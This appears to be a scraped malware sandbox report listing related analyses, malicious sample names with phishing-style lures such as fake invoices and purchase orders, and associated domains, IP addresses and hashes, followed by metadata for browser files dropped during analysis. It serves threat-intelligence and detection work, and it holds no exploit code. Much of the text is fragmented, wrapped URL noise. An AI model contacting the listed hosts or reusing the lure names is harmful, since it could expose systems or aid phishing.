https://view.joesandbox.com/analysis/210684/html/none?idtype=webid
https://view.joesandbox.com/analysis/176228/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/176228/html/none?idtype=webid


x6VzkrXHm4
ZpE3o1qAGp
t4Ue-5Puw8
BoFa_O5B8s
BWozh5QbZr
1mziJQ40hB
XaEx6MH_dB
a99HLGQOP0
mci5vWX8Xu
Ne16w0Znk5
47BHwU6Apr
jd9r84Nz6n
G00oI8rXKZ
9W4qhNzZno-
yipZmoTqm
rmzBEgdyX5
1SPFWU0glH
P64MgSsNz7
KRYjMFTrjA
6ydN6e3yPs
ONM0HlBhJl
dqywdR7Gxh
uu7lbfjtMY
SVpTo58yDq
K1VDAIRa_g
BfpfzTlpJu
08XLX_Wcd7
IqW7G0sBp8
N1Cqk3Glqg
EE0f5Fjh8X
nLiFpVgC8B
vf4RIcbQkf
8MYSEgYCwv
K1w2OJ6G08
KYlZ0CBoMU
A4lO7oBdjP
srq3stypAi
2koDvSwKO4
ccdGXhKalC
W5RUrVIXgB
_j3aH_aiUW
GLT8ccmYIJ
Gi_TSUWTfx
fs1Jb0VofB
33BW-m9pDG-
A6O8vm_g3
tKy_heZIpl
lemAWTaPnh
7ytE4oS_3p
JL4KnOOYIJ
FKRuNOcPQl
yhauS4SJm9
wQoLrtg_ra
ixpUqyH51y
NysSaoC1U7
92WdxbRh5W
hN0Axej_wm
AiUbeoWBGu
3Yx722HW3M
Q4Jbibrdzc
61NAyifwfD
HtJM0bUXpB
KcHBt4N9C&
ui=PmRMc57
CnhbuNHKw2
Y29rWvi5v6
ZZrF7dLiTN
q3P25qokS0
sVeF3FtBbn
KBA5pdUJ5H
VAFtDQmkDi
PIg2AA2nlO
DVyxneIBUB
wPLYSKCGVr
RKDhQUiZ6I
azVYlgrB55
e&si=1&ore
f=615fcf24
195c35fa44
5097229c9f
ef41&rb=4r
geS0SmgPg&
rr=1

Match Associated Sample Name / URL SHA 256 Detection Link Context
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bejuy.com/?bejuy Get hash malicious Browse  p226681.i
nfopicked.
com/adServ
e/domainClick?
ai=sDg
LTWBy6qiKJ
foyyAyxz5l
Tec1R-G0hf
biK18fJJ8N
8PCREsrxRP
2o8pKmc8Fy
M25_rtcFU5
6saYvAdoGo
sa76GulJZd
BUf4dUnXWO
c4W9U5jDDO
EjXTm8TXQY
arsc_D4cDf
GPOorKHic3
Byin_EYU9L
qzvQyaatri
_vDCiKgYCv
LHM1MhvxQM-
Jr3Q9J-0-
T0AvjbOx9FD-
IoRiWjmF-
WJdLgktdb-
Bry3DbhZY
zDWEvsxfr1WQk-
THV8f6WcI-vie8-
wq9A05jDCok
9YMrGP7DLX
1xSsUlJxRb
MtshDY3nKR
nCr1_SRSaW
JJddIjta_l
qISjeZ5nCF
7WIMxlUWr7
AdIrib2gOJ
f4yBNRlqxd
PnEhIaw2zs
RJHJzdDv6O5-
zfUS8nVU
04fFcxJ0St
Shp2s0_34C
ATUuHZzeSQ
TgkyFv_aZQ
C5A4r4FDOd
w858tImbOe
Xz24ZVRY0XLI-
w26tWjr
i88Beg6Zon
We_Vtl9GtF
LC8pMLsUA5
RUDuR6cw8k
5rIqlNi8oi
NOntyGiJLU
JkP5LNliGt
G&ui=PmRMc
57CnhboFEy
XhZ8tO2vi5
v6ZZrF7dLi
TNq3P25qok
S0sVeF3Fqd
DzduyOn70m
xugia8gbQt
shfZZwD5ux
jTSbLQEFK6
iLvDPG3aKF
MRHjQhY9W1
eMf4MnGiTk
T87&si=1&o
ref=4dc861
88f9b41fed
212768d74d
5ef8bf&rb=
8pDSrleFLc
U&rr=1

advaitatoursandtravels.com/8SNtEW956qlZV2h/yh/en/?
i=2302771

Get hash malicious Browse  clksite.c
om/adServe
/banners?t
id=204915_
380011_1&p
ause=5

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/166686/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/166686/html/none?idtype=webid
https://view.joesandbox.com/analysis/105710/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/105710/html/none?idtype=webid


exe.io/d08u Get hash malicious Browse  p221722.c
lksite.com
/adServe/b
anners?tid
=IF1CUTURL
S_DI

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

menehleibe.com o402ek2m.php_l=yuptb1.exe Get hash malicious Browse 46.29.165.55

gertrk.com bd.exe Get hash malicious Browse 168.119.139.96

gmai.com Get hash malicious Browse 168.119.139.96

7IEK8G8P67.js Get hash malicious Browse 168.119.139.96

Match Associated Sample Name / URL SHA 256 Detection Link Context

WEBAIR-INTERNETUS FS9MDxxWbl.exe Get hash malicious Browse 173.239.8.164

ttWjYomGYN Get hash malicious Browse 67.55.75.178

9JzK89dRiaBYTuN.exe Get hash malicious Browse 74.206.228.78

Purchase Order.exe Get hash malicious Browse 173.239.8.164

dqVPlpmWYt.exe Get hash malicious Browse 67.55.90.108

WitNwYLlo9.exe Get hash malicious Browse 213.247.47.190

Consignment Document PL&BL Draft.exe Get hash malicious Browse 173.239.5.6

New order 201534.pdf.exe Get hash malicious Browse 173.239.8.164

payment_proof_Copy,pdf.exe Get hash malicious Browse 213.247.47.190

Shipment of your goods.exe Get hash malicious Browse 173.239.5.6

OUTSTANDING PAYMENT REMINDER.exe Get hash malicious Browse 173.239.8.164

Request for Quotation.exe Get hash malicious Browse 173.239.5.6

PROFORMA INVOICE-INV393456434.pdf.exe Get hash malicious Browse 173.239.8.164

SecuriteInfo.com.Trojan.Downloader.JVDL.21302.xls Get hash malicious Browse 213.247.46.53

SecuriteInfo.com.Trojan.Downloader.JVDL.21302.xls Get hash malicious Browse 213.247.46.53

SecuriteInfo.com.Trojan.Downloader.JVDL.7463.xls Get hash malicious Browse 213.247.46.53

SecuriteInfo.com.Trojan.Downloader.JVDL.11267.xls Get hash malicious Browse 213.247.46.53

SecuriteInfo.com.Trojan.Downloader.JVDL.21562.xls Get hash malicious Browse 213.247.46.53

SecuriteInfo.com.Trojan.Downloader.JVDL.7463.xls Get hash malicious Browse 213.247.46.53

SecuriteInfo.com.Trojan.Downloader.JVDL.11267.xls Get hash malicious Browse 213.247.46.53

SOFTLAYERUS i686 Get hash malicious Browse 169.44.25.107

QcXQmNSaSp Get hash malicious Browse 150.239.180.42

arm Get hash malicious Browse 169.60.29.123

ccvgtVRQBx Get hash malicious Browse 169.53.144.124

I6l48v5NQD Get hash malicious Browse 169.49.82.236

arm Get hash malicious Browse 174.132.21
8.163

fk8YZet4QU Get hash malicious Browse 173.193.99.115

loligang.arm7 Get hash malicious Browse 173.193.99.105

sora.arm7 Get hash malicious Browse 74.53.31.137

FHrO8Nb8X6.exe Get hash malicious Browse 159.8.229.237

jKira.arm7 Get hash malicious Browse 169.45.241.19

h9a1NEWEeR Get hash malicious Browse 207.218.21
5.108

Kp6SDRr8xd Get hash malicious Browse 173.193.17
5.220

BqfM9JwIC5 Get hash malicious Browse 161.159.29.133

O83wubYGMU.exe Get hash malicious Browse 216.250.97.121

OnRFDWqdnF Get hash malicious Browse 150.239.179.11

2vMBHaZcM5 Get hash malicious Browse 174.122.77.118

iYUfv1bE48 Get hash malicious Browse 169.62.46.57

sora.arm7 Get hash malicious Browse 74.54.2.125

OffboardDiagLauncher.exe Get hash malicious Browse 150.238.42.13

Match Associated Sample Name / URL SHA 256 Detection Link Context

Domains

ASN

JA3 Fingerprints
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https://view.joesandbox.com/analysis/74040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/74040/html/none?idtype=webid
https://view.joesandbox.com/analysis/155762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/155762/html/none?idtype=webid
https://view.joesandbox.com/analysis/293685/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293685/html/none?idtype=webid
https://view.joesandbox.com/analysis/247656/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247656/html/none?idtype=webid
https://view.joesandbox.com/analysis/246002/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246002/html/none?idtype=webid
https://view.joesandbox.com/analysis/370120/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/370120/html/none?idtype=webid
https://view.joesandbox.com/analysis/366753/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366753/html/none?idtype=webid
https://view.joesandbox.com/analysis/359281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359281/html/none?idtype=webid
https://view.joesandbox.com/analysis/355785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/355785/html/none?idtype=webid
https://view.joesandbox.com/analysis/342585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342585/html/none?idtype=webid
https://view.joesandbox.com/analysis/339418/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339418/html/none?idtype=webid
https://view.joesandbox.com/analysis/334490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334490/html/none?idtype=webid
https://view.joesandbox.com/analysis/333550/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/333550/html/none?idtype=webid
https://view.joesandbox.com/analysis/329282/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/329282/html/none?idtype=webid
https://view.joesandbox.com/analysis/325152/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/325152/html/none?idtype=webid
https://view.joesandbox.com/analysis/325070/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/325070/html/none?idtype=webid
https://view.joesandbox.com/analysis/316069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/316069/html/none?idtype=webid
https://view.joesandbox.com/analysis/308752/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/308752/html/none?idtype=webid
https://view.joesandbox.com/analysis/305901/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305901/html/none?idtype=webid
https://view.joesandbox.com/analysis/305895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305895/html/none?idtype=webid
https://view.joesandbox.com/analysis/305890/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305890/html/none?idtype=webid
https://view.joesandbox.com/analysis/305888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305888/html/none?idtype=webid
https://view.joesandbox.com/analysis/305882/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305882/html/none?idtype=webid
https://view.joesandbox.com/analysis/305881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305881/html/none?idtype=webid
https://view.joesandbox.com/analysis/305879/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305879/html/none?idtype=webid
https://view.joesandbox.com/analysis/378987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378987/html/none?idtype=webid
https://view.joesandbox.com/analysis/378977/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378977/html/none?idtype=webid
https://view.joesandbox.com/analysis/378975/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378975/html/none?idtype=webid
https://view.joesandbox.com/analysis/378149/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378149/html/none?idtype=webid
https://view.joesandbox.com/analysis/378144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378144/html/none?idtype=webid
https://view.joesandbox.com/analysis/378039/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378039/html/none?idtype=webid
https://view.joesandbox.com/analysis/378030/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378030/html/none?idtype=webid
https://view.joesandbox.com/analysis/377969/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377969/html/none?idtype=webid
https://view.joesandbox.com/analysis/377531/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377531/html/none?idtype=webid
https://view.joesandbox.com/analysis/377503/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377503/html/none?idtype=webid
https://view.joesandbox.com/analysis/377422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377422/html/none?idtype=webid
https://view.joesandbox.com/analysis/377371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377371/html/none?idtype=webid
https://view.joesandbox.com/analysis/376949/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376949/html/none?idtype=webid
https://view.joesandbox.com/analysis/376869/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376869/html/none?idtype=webid
https://view.joesandbox.com/analysis/376786/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376786/html/none?idtype=webid
https://view.joesandbox.com/analysis/376642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376642/html/none?idtype=webid
https://view.joesandbox.com/analysis/376636/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376636/html/none?idtype=webid
https://view.joesandbox.com/analysis/376326/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376326/html/none?idtype=webid
https://view.joesandbox.com/analysis/376323/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376323/html/none?idtype=webid
https://view.joesandbox.com/analysis/376181/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376181/html/none?idtype=webid


9e10692f1b7f78228b2d4e424db3a98c XdChiA1SFt.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

NCgbWJd3YR.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

090921.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

jIUM4pyxrk.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

86pvB9G0yi.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

WiJ2Xvsdgb.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

c5KOVut4bT.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

q5tuVZ7Ef1.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

cfxqb9BOeT.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

qPu2NHTCnf.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

lKS018CkVe.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

caDeEx.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

exPlEx.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

plDeCa.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

QPBcY04qKa.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

nextUsDe.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

prevPwDe.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

currCurrPl.jpg.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

c4DWctbDYR.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

090921.dll Get hash malicious Browse 173.192.101.24
142.250.10
2.106
168.119.139.96

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/379262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379262/html/none?idtype=webid
https://view.joesandbox.com/analysis/379260/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379260/html/none?idtype=webid
https://view.joesandbox.com/analysis/379223/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379223/html/none?idtype=webid
https://view.joesandbox.com/analysis/379069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379069/html/none?idtype=webid
https://view.joesandbox.com/analysis/379052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379052/html/none?idtype=webid
https://view.joesandbox.com/analysis/379043/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379043/html/none?idtype=webid
https://view.joesandbox.com/analysis/379039/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379039/html/none?idtype=webid
https://view.joesandbox.com/analysis/379037/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379037/html/none?idtype=webid
https://view.joesandbox.com/analysis/379035/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379035/html/none?idtype=webid
https://view.joesandbox.com/analysis/379030/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379030/html/none?idtype=webid
https://view.joesandbox.com/analysis/379013/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379013/html/none?idtype=webid
https://view.joesandbox.com/analysis/378866/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378866/html/none?idtype=webid
https://view.joesandbox.com/analysis/378865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378865/html/none?idtype=webid
https://view.joesandbox.com/analysis/378851/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378851/html/none?idtype=webid
https://view.joesandbox.com/analysis/378842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378842/html/none?idtype=webid
https://view.joesandbox.com/analysis/378840/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378840/html/none?idtype=webid
https://view.joesandbox.com/analysis/378838/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378838/html/none?idtype=webid
https://view.joesandbox.com/analysis/378772/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378772/html/none?idtype=webid
https://view.joesandbox.com/analysis/378684/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378684/html/none?idtype=webid
https://view.joesandbox.com/analysis/378673/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378673/html/none?idtype=webid


No context

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{F14FAF2F-15AF-11EC-90E5-ECF4BB2D2496}.dat
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 29272

Entropy (8bit): 1.7680750665735105

Encrypted: false

SSDEEP: 48:IwLGcpryGwpL3G/ap8JGIpcaQGvnZpva1GoHRqp9aGGo4zX1pmNGWHz71MGWHBTw:rRZ6Z/27WGt2AfszX1MHPCIifT9cDB

MD5: 6718428E930008E34240856F43C47A5E

SHA1: 7D88F1553C8394FB762C236D1AD3B9193D877F84

SHA-256: 57819E6BE034067D0BA3C30AB272050D20D41CCE457DA3444171DC64E155FCD1

SHA-512: D6371F4BD026975901D47B6851D1ED69EB43FB42FF5BD6CE422D4E768337CBD2E41FDA0454D68C4FF37E7D6CBC95F7E57E9AE396AECC06D747E3327A629A676
6

Malicious: false

Reputation: low

Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.
y.............................................................................................................................................................................................................................................................................
........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{F14FAF31-15AF-11EC-90E5-ECF4BB2D2496}.dat
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 33596

Entropy (8bit): 1.7318997073805276

Encrypted: false

SSDEEP: 192:rOZRQh6TkMjR29W+MaguzrMg2oyEcdOy8Og:ram8Y+AUXXYQ+//

MD5: 30628B54E4C2F4AABCD1C1C35E73BA0E

SHA1: 894C3CABAB8EC9C63069758EE70965C511A5A10C

SHA-256: 6B8FFAC8A720BD8D337017290A85B5ADEAD8AF2B0FE9B204313462235096CB5A

SHA-512: 91628C946C5395DB58586ECBF60E0F06BC8B7081475D47F251C5F2B5E5884A820DB7D93BEFBAE2DEF971C873E4BBAF26962FFE7175B6216100756E8E1BCFA6E
6

Malicious: false

Reputation: low

Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.
y.............................................................................................................................................................................................................................................................................
........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 659

Entropy (8bit): 5.103204027570093

Encrypted: false

SSDEEP: 12:TMHdNMNxOEbTDnWimI002EtM3MHdNMNxOEbTDnWimI00OVbVbkEtMb:2d6NxOOSZHKd6NxOOSZ7V6b

MD5: E6C2BC50F8E60C51EFC54CA61B9EC0BA

SHA1: 3DB36280067C68EA8AF261DD26BA7DE0AE2E85AB

SHA-256: 930556467F85BEF61075091DE2224E1A60796B1465E63D748BE8959B005C3B94

SHA-512: CCD5CE608075AC84E325C5A9ED3F03151ED94FAC7E374156CB287C44D507E8B614087DE473911B2A1BB636B14049F858BECD772A32FC84BCC4CDCA2550CF1B
00

Malicious: false

Reputation: low

Dropped Files

Created / dropped Files
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Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xc9954168,0x01d7a9bc</date><
accdate>0xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xc9954168,0x01d7a9bc</date><accdate>0
xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile
></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 656

Entropy (8bit): 5.060030324837212

Encrypted: false

SSDEEP: 12:TMHdNMNxe2ktBkB4nWimI002EtM3MHdNMNxe2ktBkB4nWimI00OVbkak6EtMb:2d6NxrKBkB4SZHKd6NxrKBkB4SZ7VAan

MD5: E26BA9F3A760091B3183D1F41CDC98C4

SHA1: 86884579127B6B404F35859BAB1F0BF8E14BC98A

SHA-256: EACDDFE80072986877C90B4C34CE72DE4CD1AC4BC0D38CF50A3E88B33CC2AFCD

SHA-512: 8A38E8DB918BF88B2E75DDF1653698FBD793B41624BEF49326BA00ADF008A41D2F4240FFFB774A4EB1A8950DF4DBDB80BB9320F8FD107D3BB28D6ED3B31B3C
E4

Malicious: false

Reputation: low

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xc98e1a9d,0x01d7a9bc</date><a
ccdate>0xc98e1a9d,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xc98e1a9d,0x01d7a9bc</date><a
ccdate>0xc98e1a9d,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Am
azon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-21706820\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 665

Entropy (8bit): 5.122450678810792

Encrypted: false

SSDEEP: 12:TMHdNMNxvLbTDnWimI002EtM3MHdNMNxvLbTDnWimI00OVbmZEtMb:2d6NxvPSZHKd6NxvPSZ7Vmb

MD5: 905FFB93378DC31AC2DD0A6F8DC342E7

SHA1: 2016CCDEAC7206B8B975E165084EB4623FED8DD7

SHA-256: 2749E37E02157835DB9CF9A1F79BB5F23C03B6E094E33862D71709B83C37ADBB

SHA-512: C772F25E3C85A51C4B5D3C70F17E0C50398A099AA57746A4FC1E67485E53556A77680246BC74713F261A76EAC0791D8378878A80A8DBB523EC501649F502DC8F

Malicious: false

Reputation: low

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xc9954168,0x01d7a9bc</date>
<accdate>0xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xc9954168,0x01d7a9bc</date><accda
te>0xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipe
dia.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-4759708130\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 650

Entropy (8bit): 5.118921291916546

Encrypted: false

SSDEEP: 12:TMHdNMNxibTDnWimI002EtM3MHdNMNxibTDnWimI00OVbd5EtMb:2d6NxMSZHKd6NxMSZ7VJjb

MD5: 6460C64D25542D88DAB4FCF81DA71778

SHA1: 676D82A03B0BF5C5DE83E5BCBBDCDEF506516758

SHA-256: A22AA7D82C753E3C188A28FD08D19E4D81002135F2BFEBEB1F1A430BE57C8B1B

SHA-512: B4494A57CC1FD186F7FE654BDE6EE5BB180ADD9DDC22C3E197BB9BB6CC5A3EA9CE3530B67C2BB3593CDDA8DA15E8D6D76A1F474A1A64EDDE83761022F6F7
8717

Malicious: false

Reputation: low

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xc9954168,0x01d7a9bc</date><acc
date>0xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml 
version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xc9954168,0x01d7a9bc</date><accdate>0xc9954
168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile>
</msapplication></browserconfig>..
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C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-4759708130\msapplication.xml

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: modified

Size (bytes): 659

Entropy (8bit): 5.1343683532362645

Encrypted: false

SSDEEP: 12:TMHdNMNxhGwbTDnWimI002EtM3MHdNMNxhGwbTDnWimI00OVb8K075EtMb:2d6NxQySZHKd6NxQySZ7VYKajb

MD5: 8E92836C2D0581401653E8DE5C6B8738

SHA1: CBAC5A797B78F7CB6DA7290A1062FBED2949213F

SHA-256: F3FC6551AD678A4DF601F69273B5B5E83EC0F4B786D622B8E2936B1472B8E87A

SHA-512: EFD3436C0CCA7BAF708695893047ED47C51281D01B2F7556342864946B671A22B4DABE64A3323EBA92CF8B7DE715560652DFB56B4182493B829144F5BFCA56A7

Malicious: false

Reputation: low

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xc9954168,0x01d7a9bc</date><
accdate>0xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xc9954168,0x01d7a9bc</date><accdate>0
xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/>
</tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-8760897390\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 656

Entropy (8bit): 5.107052953253313

Encrypted: false

SSDEEP: 12:TMHdNMNx0nbTDnWimI002EtM3MHdNMNx0nbTDnWimI00OVbxEtMb:2d6Nx0DSZHKd6Nx0DSZ7Vnb

MD5: 84068C5AA2D27A5EA37F4986D9B215FC

SHA1: 885375A31C5CA66B7E30A0286DCED8161425B029

SHA-256: A8DB220EA8C9068C18AF2503BC68A61749726B169C158174E476120A33D2EB89

SHA-512: 36E8EA1D95AF9BAACC43AB50690ABC02FB593B14D68F8287854C4C53FBCD2E8B8566A2219DAE529B62A5999ECE9BB62FA944A38971E7AC25AA481D6F7B46D6
9F

Malicious: false

Reputation: low

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0xc9954168,0x01d7a9bc</date><a
ccdate>0xc9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0xc9954168,0x01d7a9bc</date><accdate>0xc
9954168,0x01d7a9bc</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile>
</msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 659

Entropy (8bit): 5.143005129532291

Encrypted: false

SSDEEP: 12:TMHdNMNxxbTDnWimI002EtM3MHdNMNxxbTDnWimI00OVb6Kq5EtMb:2d6NxtSZHKd6NxtSZ7Vob

